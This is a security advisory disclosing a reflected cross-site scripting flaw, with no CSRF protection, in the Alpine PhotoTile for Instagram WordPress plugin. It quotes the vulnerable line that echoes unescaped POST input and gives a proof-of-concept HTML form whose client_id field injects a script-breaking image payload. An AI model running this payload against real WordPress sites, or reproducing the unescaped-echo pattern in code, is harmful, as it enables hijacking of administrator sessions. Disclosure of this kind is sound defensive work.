Abstract
A Cross-Site Scripting vulnerability was found in the Alpine PhotoTile for Instagram WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160725-0010
Tested versions
This issue was successfully tested on Alpine PhotoTile for Instagram WordPress Plugin version 1.2.7.7.
Fix
There is currently no fix available.
Introduction
Alpine PhotoTile for Instagram is a simple, stylish, and compact plugin for displaying Instagram photos in a sidebar, post, or page. A Cross-Site Scripting vulnerability was found in the Alpine PhotoTile for Instagram WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
Details
A reflected Cross-Site Scripting vulnerability exists in the Alpine Photo Tile for Instagam WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the admin user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).
The vulnerability exists in the alpine-photo-tile-for-instagram/gears/alpinebot-admin.php
file on line 887:
+ '&client_id=<?php echo $_POST['client_id']; ?>'
The vulnerability can be exploited using specially crafted URL parameter. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=alpine-photo-tile-for-instagram-settings&tab=add" method="POST">
<input type="hidden" name="hidden" value="Y" />
<input type="hidden" name="add-user" value="Y" />
<input type="hidden" name="client_id" value="</script><img src=x onerror=alert(1) />" />
<input type="hidden" name="client_secret" value="bar" />
<input type="hidden" name="alpine-photo-tile-for-instagram-settings_add[submit-add]" value="Add and Authorize New User" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>